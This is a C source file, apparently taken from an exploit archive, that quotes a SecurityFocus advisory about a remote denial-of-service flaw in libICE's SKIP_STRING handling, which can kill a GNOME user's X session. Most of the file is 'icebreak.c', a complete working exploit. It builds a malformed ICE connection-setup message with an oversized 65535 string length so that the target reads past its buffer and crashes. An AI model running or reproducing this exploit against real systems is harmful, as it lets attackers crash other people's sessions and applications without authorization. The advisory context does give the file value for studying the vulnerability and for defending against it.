73 lines
No EOL
2.4 KiB
C
73 lines
No EOL
2.4 KiB
C
// source: https://www.securityfocus.com/bid/1369/info
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A denial of service vulnerability exists in libICE, part of the X11 windowing system. Any libICE application which creates inet listening sockets can be remotely crashed. This is due to a bug in the handling of the SKIP_STRING macro. By supplying a large value for the skip value, it is possible to cause a pointer to point to uninitialized memory. This in turn will cause a segfault.
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This vulnerability will affect any application using TCP listening sockets in libICE. However, one more widespread use of libICE in this configuration is in the gnome-session program, part of the GNOME package. It is possible to cause the X session of a user to end by performing this denial of service against someone running GNOME.
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/* icebreak.c - Chris Evans */
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#include <stdio.h>
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#include <unistd.h>
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#include <string.h>
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int
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main(int argc, const char* argv[])
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{
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unsigned char c;
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unsigned int i;
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unsigned short s;
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char blankbuf[1000];
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memset(blankbuf, '\0', sizeof(blankbuf));
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/* Assume fd 1 is stdout */
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/* ICE connection header */
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/* First, pick an endian-ness */
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/* Byte 1: Major opcode. Must be 0 */
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c = 0;
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write(1, &c, 1);
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/* Byte 2: Minor opcode. Must be ICE_ByteOrder (1) */
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c = 1;
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write(1, &c, 1);
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/* Byte 3: Byte-order. We'll go for IceLSBfirst (0) */
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c = 0;
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write(1, &c, 1);
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/* Byte 4: Unused. Write 0 */
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c = 0;
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write(1, &c, 1);
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/* Bytes 5-8: integer length. Must be zero for byte-order message. */
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i = 0;
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write(1, &i, 4);
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/* Next message - ICE_ConnectionSetup */
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/* Byte 1: Major opcode. 0 for core ICE protocol message */
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c = 0;
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write(1, &c, 1);
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/* Byte 2: Minor opcode. ICE_ConnectionSetup (2) */
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c = 2;
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write(1, &c, 1);
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/* Bytes 3, 4: versionCount & authCount */
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c = 255;
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write(1, &c, 1);
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write(1, &c, 1);
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/* Bytes 5-8, int length. Must be at least 8 */
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i = 8;
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write(1, &i, 4);
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/* Now, bytes are part of iceConnectionSetupMsg */
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/* This is an extra 8 bytes */
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/* Byte 1: "must authenticate" */
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c = 0;
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write(1, &c, 1);
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/* Bytes 2-8: unused */
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write(1, blankbuf, 7);
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/* Now we're writing into the malloc'ed message data space */
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/* First, a string. Give it's 16bit length a big value to get ICE code
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* to iterate off the end of the buffer
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*/
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s = 65535;
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write(1, &s, 2);
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/* And some blank to get the (total) 56 char data read finished */
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write(1, blankbuf, 54);
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} |